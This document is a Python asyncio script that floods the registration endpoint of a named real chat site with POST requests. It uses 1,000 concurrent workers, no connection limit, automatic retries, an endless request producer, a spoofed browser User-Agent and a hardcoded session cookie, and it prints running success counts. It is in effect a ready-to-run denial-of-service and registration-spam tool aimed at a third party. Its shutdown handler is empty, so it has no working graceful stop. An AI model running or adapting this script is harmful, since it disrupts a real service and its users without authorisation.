import asyncio
import aiohttp
import time
from aiohttp import ClientSession, ClientConnectorError, ClientResponseError, TCPConnector
import signal
import sys

# Configuration Parameters
URL = "https://furrychat.net/chat/system/box/registration.php"
HEADERS = {
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/130.0.0.0 Safari/537.36"
    ),
    "Cookie": (
        "PHPSESSID=a0egur4jmuetnvdktqmbkphhst; domain=furrychat.net; path=/"
    )
}
DEFAULT_CONCURRENCY = 1000  # Increased concurrency limit
TIMEOUT = aiohttp.ClientTimeout(total=5)
RETRY_LIMIT = 3  # Number of retries for failed requests
QUEUE_SIZE = 5000  # Maximum number of pending requests in the queue
REPORT_INTERVAL = 5  # Seconds between performance reports

# Counters for monitoring
success_count = 0
failure_count = 0

# Synchronization primitive for counters
counter_lock = asyncio.Lock()

# Flag to stop the producer and workers gracefully
stop_event = asyncio.Event()

async def send_request(session: ClientSession, request_id: int):
    global success_count, failure_count
    for attempt in range(1, RETRY_LIMIT + 1):
        try:
            async with session.post(URL, headers=HEADERS, timeout=TIMEOUT) as response:
                if response.status == 200:
                    async with counter_lock:
                        success_count += 1
                else:
                    async with counter_lock:
                        failure_count += 1
                # Exit the retry loop regardless of the response
                break
        except (ClientConnectorError, ClientResponseError, asyncio.TimeoutError, aiohttp.ClientOSError) as e:
            async with counter_lock:
                failure_count += 1
            if attempt >= RETRY_LIMIT:
                # Optionally, log the failure here
                break
            await asyncio.sleep(0.1)  # Brief pause before retrying

async def worker(name: int, session: ClientSession, queue: asyncio.Queue):
    while not stop_event.is_set():
        try:
            request_id = await asyncio.wait_for(queue.get(), timeout=1.0)
        except asyncio.TimeoutError:
            continue  # Check for stop_event periodically
        if request_id is None:
            queue.task_done()
            break
        await send_request(session, request_id)
        queue.task_done()

async def producer(queue: asyncio.Queue):
    request_id = 0
    while not stop_event.is_set():
        try:
            await queue.put(request_id)
            request_id += 1
        except asyncio.CancelledError:
            break

async def report():
    last_success = 0
    last_failure = 0
    start_time = time.time()
    while not stop_event.is_set():
        await asyncio.sleep(REPORT_INTERVAL)
        async with counter_lock:
            current_success = success_count
            current_failure = failure_count
        interval_success = current_success - last_success
        interval_failure = current_failure - last_failure
        elapsed = time.time() - start_time
        print(f"[Report] Time Elapsed: {elapsed:.2f}s | "
              f"Success: {current_success} (+{interval_success}), "
              f"Failure: {current_failure} (+{interval_failure})")
        last_success = current_success
        last_failure = current_failure

async def main(concurrency=DEFAULT_CONCURRENCY):
    global success_count, failure_count
    connector = TCPConnector(
        limit=0,  # Remove the limit to allow maximum concurrency
        ssl=False,  # Set to True if SSL verification is needed
        keepalive_timeout=30
    )
    async with aiohttp.ClientSession(connector=connector) as session:
        queue = asyncio.Queue(maxsize=QUEUE_SIZE)

        # Start worker tasks
        workers = [
            asyncio.create_task(worker(i, session, queue))
            for i in range(concurrency)
        ]

        # Start producer task
        producer_task = asyncio.create_task(producer(queue))

        # Start reporting task
        reporter = asyncio.create_task(report())

        # Setup signal handlers for graceful shutdown
        loop = asyncio.get_running_loop()

        def shutdown():
            print("\nReceived stop signal. Shutting down...")
            

        try:
            for sig in (signal.SIGINT, signal.SIGTERM):
                try:
                    loop.add_signal_handler(sig, shutdown)
                except NotImplementedError:
                    # Signal handlers are not implemented on some systems (e.g., Windows)
                    loop.call_soon_threadsafe(shutdown)
        except Exception as e:
            print(f"Failed to add signal handler: {e}")
            shutdown()

        # Wait for the stop_event to be set
        await stop_event.wait()

        # Stop producer
        producer_task.cancel()
        try:
            await producer_task
        except asyncio.CancelledError:
            pass

        # Wait until the queue is fully processed
        await queue.join()

        # Stop workers
        for _ in workers:
            await queue.put(None)
        await asyncio.gather(*workers, return_exceptions=True)

        # Stop reporter
        reporter.cancel()
        try:
            await reporter
        except asyncio.CancelledError:
            pass

if __name__ == "__main__":
    start_time = time.time()
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nProcess interrupted by user.")
    finally:
        end_time = time.time()
        print(f"Total runtime: {end_time - start_time:.2f} seconds")
        print(f"Total Successful Requests: {success_count}")
        print(f"Total Failed Requests: {failure_count}")